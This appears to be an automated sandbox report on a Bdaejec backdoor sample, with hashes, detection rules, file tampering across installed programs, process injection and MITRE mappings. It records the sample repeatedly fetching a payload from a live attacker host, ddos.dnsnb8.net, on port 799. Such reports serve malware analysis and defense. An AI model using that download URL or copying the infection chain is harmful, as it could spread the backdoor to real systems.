bdaejec | 44fe0843dc2b2e2040a684a6749fd79dbffc42d341cd8f3fe1d315d9d36a8fac

Analysis

max time kernel
117s
max time network
117s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
31/01/2025, 01:06 UTC

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General

Target

2025-01-31_1082934e415f7bdf3528cf14558a240b_smoke-loader_wapomi.exe
Size

80KB
MD5

1082934e415f7bdf3528cf14558a240b
SHA1

e948b16ab95a75e9c3cac5849a27de21c1c118e8
SHA256

44fe0843dc2b2e2040a684a6749fd79dbffc42d341cd8f3fe1d315d9d36a8fac
SHA512

b4b27520f5ea0439fdb4cce46795ff0e1d72a2b69dcf63d05e51bf3f37fdc567fb7d3a7649cfb51d1e5f08299aa8cee2ddd3f1e30059cac80f95b158cd495df0
SSDEEP

1536:fHB0UxMkzOt7HcvJGt5AdHIOWnToIf12ZDTGCq2iW7z:fhAWJGSCTBf12Z/GCH

Score

10^/10

bdaejec aspackv2 backdoor discovery

Malware Config

Extracted

Family

bdaejec

ddos.dnsnb8.net

Signatures

Bdaejec
Bdaejec is a backdoor written in C++.
backdoor bdaejec
Bdaejec family
bdaejec

Detects Bdaejec Backdoor. 2 IoCs

Bdaejec is backdoor written in C++.

resource	yara_rule
behavioral1/memory/1784-12-0x0000000000930000-0x0000000000939000-memory.dmp	family_bdaejec_backdoor
behavioral1/memory/1784-24-0x0000000000930000-0x0000000000939000-memory.dmp	family_bdaejec_backdoor

ASPack v2.12-2.42 1 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

resource	yara_rule
behavioral1/files/0x0007000000012117-2.dat	aspack_v212_v242

Executes dropped EXE 1 IoCs

pid	Process
1784	lXawJq.exe

Loads dropped DLL 2 IoCs

pid	Process
2356	2025-01-31_1082934e415f7bdf3528cf14558a240b_smoke-loader_wapomi.exe
2356	2025-01-31_1082934e415f7bdf3528cf14558a240b_smoke-loader_wapomi.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\jhat.exe	lXawJq.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\jmc.exe	lXawJq.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\bin\kinit.exe	lXawJq.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\wsimport.exe	lXawJq.exe
File opened for modification	C:\Program Files\Java\jre7\bin\pack200.exe	lXawJq.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\MSTORE.EXE	lXawJq.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\OUTLOOK.EXE	lXawJq.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\servertool.exe	lXawJq.exe
File opened for modification	C:\Program Files\Microsoft Games\Multiplayer\Spades\shvlzm.exe	lXawJq.exe
File opened for modification	C:\Program Files (x86)\Google\Update\1.3.36.151\GoogleCrashHandler.exe	lXawJq.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\GROOVEMN.EXE	lXawJq.exe
File opened for modification	C:\Program Files\Java\jre7\bin\kinit.exe	lXawJq.exe
File opened for modification	C:\Program Files\Java\jre7\bin\ssvagent.exe	lXawJq.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\uninstall.exe	lXawJq.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\javafxpackager.exe	lXawJq.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\jcmd.exe	lXawJq.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\keytool.exe	lXawJq.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\launcher.exe	lXawJq.exe
File opened for modification	C:\Program Files\Java\jre7\bin\javacpl.exe	lXawJq.exe
File opened for modification	C:\Program Files\Java\jre7\bin\unpack200.exe	lXawJq.exe
File opened for modification	C:\Program Files\Mozilla Firefox\plugin-container.exe	lXawJq.exe
File opened for modification	C:\Program Files\Mozilla Firefox\uninstall\helper.exe	lXawJq.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\apt.exe	lXawJq.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\klist.exe	lXawJq.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\rmid.exe	lXawJq.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\lib\nbexec64.exe	lXawJq.exe
File opened for modification	C:\Program Files\Java\jre7\bin\klist.exe	lXawJq.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\CNFNOT32.EXE	lXawJq.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\NAMECONTROLSERVER.EXE	lXawJq.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\sidebar.exe	lXawJq.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\javadoc.exe	lXawJq.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\xjc.exe	lXawJq.exe
File opened for modification	C:\Program Files\Mozilla Firefox\default-browser-agent.exe	lXawJq.exe
File opened for modification	C:\Program Files\Windows Photo Viewer\ImagingDevices.exe	lXawJq.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\CLVIEW.EXE	lXawJq.exe
File opened for modification	C:\Program Files\Microsoft Games\Multiplayer\Checkers\chkrzm.exe	lXawJq.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\vlc.exe	lXawJq.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\ACCICONS.EXE	lXawJq.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Wordconv.exe	lXawJq.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\excelcnv.exe	lXawJq.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\MSOSYNC.EXE	lXawJq.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE	lXawJq.exe
File opened for modification	C:\Program Files\7-Zip\7z.exe	lXawJq.exe
File opened for modification	C:\Program Files\7-Zip\7zG.exe	lXawJq.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\jstack.exe	lXawJq.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\bin\javacpl.exe	lXawJq.exe
File opened for modification	C:\Program Files\Windows Defender\MpCmdRun.exe	lXawJq.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\XLICONS.EXE	lXawJq.exe
File opened for modification	C:\Program Files (x86)\Google\Update\Download\{8A69D345-D564-463C-AFF1-A69D9E530F96}\106.0.5249.119\chrome_installer.exe	lXawJq.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\IEContentService.exe	lXawJq.exe
File opened for modification	C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	lXawJq.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\javac.exe	lXawJq.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\jrunscript.exe	lXawJq.exe
File opened for modification	C:\Program Files\Java\jre7\bin\servertool.exe	lXawJq.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\A3DUtility.exe	lXawJq.exe
File opened for modification	C:\Program Files (x86)\Google\Update\DisabledGoogleUpdate.exe	lXawJq.exe
File opened for modification	C:\Program Files\Windows Mail\wabmig.exe	lXawJq.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE	lXawJq.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\MSTORDB.EXE	lXawJq.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\106.0.5249.119\chrome_pwa_launcher.exe	lXawJq.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\rmic.exe	lXawJq.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\bin\java.exe	lXawJq.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\bin\javaws.exe	lXawJq.exe
File opened for modification	C:\Program Files\Microsoft Games\Minesweeper\MineSweeper.exe	lXawJq.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2025-01-31_1082934e415f7bdf3528cf14558a240b_smoke-loader_wapomi.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	lXawJq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2356 wrote to memory of 1784	2356	2025-01-31_1082934e415f7bdf3528cf14558a240b_smoke-loader_wapomi.exe	30
PID 2356 wrote to memory of 1784	2356	2025-01-31_1082934e415f7bdf3528cf14558a240b_smoke-loader_wapomi.exe	30
PID 2356 wrote to memory of 1784	2356	2025-01-31_1082934e415f7bdf3528cf14558a240b_smoke-loader_wapomi.exe	30
PID 2356 wrote to memory of 1784	2356	2025-01-31_1082934e415f7bdf3528cf14558a240b_smoke-loader_wapomi.exe	30
PID 1784 wrote to memory of 2772	1784	lXawJq.exe	32
PID 1784 wrote to memory of 2772	1784	lXawJq.exe	32
PID 1784 wrote to memory of 2772	1784	lXawJq.exe	32
PID 1784 wrote to memory of 2772	1784	lXawJq.exe	32

C:\Users\Admin\AppData\Local\Temp\2025-01-31_1082934e415f7bdf3528cf14558a240b_smoke-loader_wapomi.exe
"C:\Users\Admin\AppData\Local\Temp\2025-01-31_1082934e415f7bdf3528cf14558a240b_smoke-loader_wapomi.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2356
- C:\Users\Admin\AppData\Local\Temp\lXawJq.exe
  C:\Users\Admin\AppData\Local\Temp\lXawJq.exe
  2⤵
  - Executes dropped EXE
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1784
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c ""C:\Users\Admin\AppData\Local\Temp\493707bf.bat" "
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2772

Network

DNS

ddos.dnsnb8.net

lXawJq.exe

Remote address:

8.8.8.8:53

Request

ddos.dnsnb8.net

IN A

Response

ddos.dnsnb8.net

IN A

44.221.84.105
GET

http://ddos.dnsnb8.net:799/cj//k1.rar

lXawJq.exe

Remote address:

44.221.84.105:799

Request

GET /cj//k1.rar HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
Host: ddos.dnsnb8.net:799
Connection: Keep-Alive
GET

http://ddos.dnsnb8.net:799/cj//k1.rar

lXawJq.exe

Remote address:

44.221.84.105:799

Request

GET /cj//k1.rar HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
Host: ddos.dnsnb8.net:799
Connection: Keep-Alive
GET

http://ddos.dnsnb8.net:799/cj//k1.rar

lXawJq.exe

Remote address:

44.221.84.105:799

Request

GET /cj//k1.rar HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
Host: ddos.dnsnb8.net:799
Connection: Keep-Alive
GET

http://ddos.dnsnb8.net:799/cj//k1.rar

lXawJq.exe

Remote address:

44.221.84.105:799

Request

GET /cj//k1.rar HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
Host: ddos.dnsnb8.net:799
Connection: Keep-Alive
GET

http://ddos.dnsnb8.net:799/cj//k1.rar

lXawJq.exe

Remote address:

44.221.84.105:799

Request

GET /cj//k1.rar HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
Host: ddos.dnsnb8.net:799
Connection: Keep-Alive

44.221.84.105:799

http://ddos.dnsnb8.net:799/cj//k1.rar

http

lXawJq.exe

466 B
176 B
3
4

HTTP Request

GET http://ddos.dnsnb8.net:799/cj//k1.rar
44.221.84.105:799

http://ddos.dnsnb8.net:799/cj//k1.rar

http

lXawJq.exe

466 B
176 B
3
4

HTTP Request

GET http://ddos.dnsnb8.net:799/cj//k1.rar
44.221.84.105:799

http://ddos.dnsnb8.net:799/cj//k1.rar

http

lXawJq.exe

466 B
176 B
3
4

HTTP Request

GET http://ddos.dnsnb8.net:799/cj//k1.rar
44.221.84.105:799

http://ddos.dnsnb8.net:799/cj//k1.rar

http

lXawJq.exe

466 B
176 B
3
4

HTTP Request

GET http://ddos.dnsnb8.net:799/cj//k1.rar
44.221.84.105:799

http://ddos.dnsnb8.net:799/cj//k1.rar

http

lXawJq.exe

466 B
176 B
3
4

HTTP Request

GET http://ddos.dnsnb8.net:799/cj//k1.rar

8.8.8.8:53

ddos.dnsnb8.net

dns

lXawJq.exe

61 B
77 B
1
1

DNS Request

ddos.dnsnb8.net

DNS Response

44.221.84.105

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\493707bf.bat

Filesize
187B

MD5
8de205289232cdf4d199170ba40cbf43

SHA1
b80daa2c0b6d6c82c364fdeac623f93c6ad14224

SHA256
846a4ea319b8a94ff9996b7bdf4ab4ebb80c7b547676817b76f5b0c25494178e

SHA512
5c6ca96458f9a0177b826fabf35922cca60a3c183fd25d133330c551f23107cd6267200276a698e4313953d335b1f1e5f2c0be94cce6f397cf792a8b89f108c1

Download Submit
\Users\Admin\AppData\Local\Temp\lXawJq.exe

Filesize
15KB

MD5
56b2c3810dba2e939a8bb9fa36d3cf96

SHA1
99ee31cd4b0d6a4b62779da36e0eeecdd80589fc

SHA256
4354970ccc7cd6bb16318f132c34f6a1b3d5c2ea7ff53e1c9271905527f2db07

SHA512
27812a9a034d7bd2ca73b337ae9e0b6dc79c38cfd1a2c6ac9d125d3cc8fa563c401a40d22155811d5054e5baa8cf8c8e7e03925f25fa856a9ba9dea708d15b4e

Download Submit
memory/1784-12-0x0000000000930000-0x0000000000939000-memory.dmp

Filesize
36KB

Download
memory/1784-24-0x0000000000930000-0x0000000000939000-memory.dmp

Filesize
36KB

Download
memory/2356-0-0x0000000000400000-0x0000000000415000-memory.dmp

Filesize
84KB

Download
memory/2356-11-0x00000000001C0000-0x00000000001C9000-memory.dmp

Filesize
36KB

Download
memory/2356-10-0x00000000001C0000-0x00000000001C9000-memory.dmp

Filesize
36KB

Download
memory/2356-26-0x0000000000400000-0x0000000000415000-memory.dmp

Filesize
84KB

Download
memory/2356-27-0x00000000001C0000-0x00000000001C9000-memory.dmp

Filesize
36KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

HTTP Request

HTTP Request

HTTP Request

HTTP Request

HTTP Request

DNS Request

DNS Response

MITRE ATT&CK Enterprise v15

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